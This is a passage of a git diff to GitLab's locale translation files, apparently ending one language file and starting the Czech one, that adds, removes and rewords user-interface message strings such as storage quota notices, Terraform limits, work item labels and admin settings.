msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/cs_CZ/gitlab.po b/locale/cs_CZ/gitlab.po
index 0b1519d8010..3ca8c419ca5 100644
--- a/locale/cs_CZ/gitlab.po
+++ b/locale/cs_CZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:39\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -932,6 +932,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1004,6 +1007,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1137,6 +1143,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1156,6 +1168,13 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1202,9 +1221,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1328,13 +1344,6 @@ msgstr ""
msgid "%{text} is available"
msgstr "%{text} je k dispozici"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1805,7 +1814,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2038,6 +2047,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2182,9 +2194,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2233,9 +2242,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2395,7 +2401,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2473,6 +2479,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2851,15 +2860,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2941,9 +2953,18 @@ msgstr "Zastavit úlohy"
msgid "AdminArea|Stopping jobs failed"
msgstr "Zastavení úloh selhalo"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2971,6 +2992,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3025,6 +3052,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3268,9 +3304,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,7 +3598,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3607,6 +3643,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3865,6 +3904,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4507,9 +4549,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4678,15 +4717,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4720,9 +4750,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4976,6 +5003,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5122,9 +5161,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5216,6 +5252,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
